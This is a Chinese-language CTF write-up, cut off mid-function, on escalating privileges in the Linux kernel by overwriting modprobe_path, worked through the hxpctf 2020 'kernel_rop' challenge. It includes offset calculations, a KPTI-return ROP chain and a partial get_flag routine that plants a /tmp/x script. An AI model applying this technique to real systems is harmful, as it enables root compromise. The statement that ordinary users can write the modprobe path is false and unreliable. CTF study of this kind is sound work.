什么是modprobe?
这玩意就是用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块,它是我们在Linux内核中安装或卸载新模块时都要执行的一个程序。该程序的路径是一个内核全局变量,默认为/sbin/modprobe,我们可以通过运行以下命令来查看该路径:
cat /proc/sys/kernel/modprobe
这个路径是可写的,普通用户也是可以更改它的
而当内核运行一个错误格式的文件(或未知文件类型的文件)的时候,也会调用这个 modprobe_path所指向的程序。如果我们将这个字符串指向我们自己的sh文件 ,并使用 system或 execve 去执行一个未知文件类型的错误文件,那么在发生错误的时候就可以执行我们自己的二进制文件了。其调用流程如下
do_execve()->do_execveat_common()->bprm_execve()->exec_binprm()
->search_binary_handler()->request_module()->call_usermodehelper()
利用手法有一些前提条件:
- 知道modprobe_path的地址
- 知道kpti_trampoline的地址(用来返回用户态)
- 能够任意地址写
接下来将以hxpctf 2020 kernel_rop这道题为例来介绍这种攻击手法
本题ko非常简单,直接给出了大范围的读写溢出,首先是信息收集,利用大范围的读溢出,拿到栈上的敏感数据,如cookie和image_base
cookie好说,直接读就行,image_base如何拿?
修改启动脚本,将uid从1000修改为0,方便我们调试,然后将栈上数据打印出来看看:
我们想要的image_base可以在/proc/kallsyms中的startup_64看到:
/ # cat /proc/kallsyms | grep startup_64
ffffffffb1400000 T startup_64
ffffffffb1400030 T secondary_startup_64
ffffffffb14001f0 T __startup_64
可以看到在第38号数据那里有一个距离startup_64固定偏移0xa157的数据
所以image_base可以通过leak[38]-0xa157来得到。
然后利用找到的image_base得到kpti_trampoline的地址:
/ # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff93c00f10 T swapgs_restore_regs_and_return_to_usermode
计算出偏移:
0xffffffff93c00f10-0xffffffff93a00000=0x200f10
得到modprobe_path的地址
/ # cat /proc/kallsyms | grep modprobe_path
ffffffff94a61820 D modprobe_path
计算出偏移:
0xffffffff94a61820-0xffffffff93a00000=0x1061820
对于kpti_trampoline的利用,要注意有两次多余的pop,其rop链非常简洁:
payload[off++] = kpti_trampoline;
payload[off++] = 0x0; //dummy rax
payload[off++] = 0x0; //dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
所以这里我们的思路就完整了,首先利用越界读泄露cookie和image_base,然后利用image_base得到kpti_trampoline和modprobe_path的地址,然后用越界写布置rop链,链子上要注意cookie正确,用gadget完成修改modprobe_path,执行get_flag函数,最后通过kpti_trampoline返回用户态。
get_flag函数中我们要写什么东西呢,现在modprobe_path已经修改成/tmp/x了,所以我们自然是要去创建这个文件,写入shell脚本,然后写一个系统不认识的文件,从而触发modprobe_path执行/tmp/x。
get_flag:
void get_flag(void){
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
puts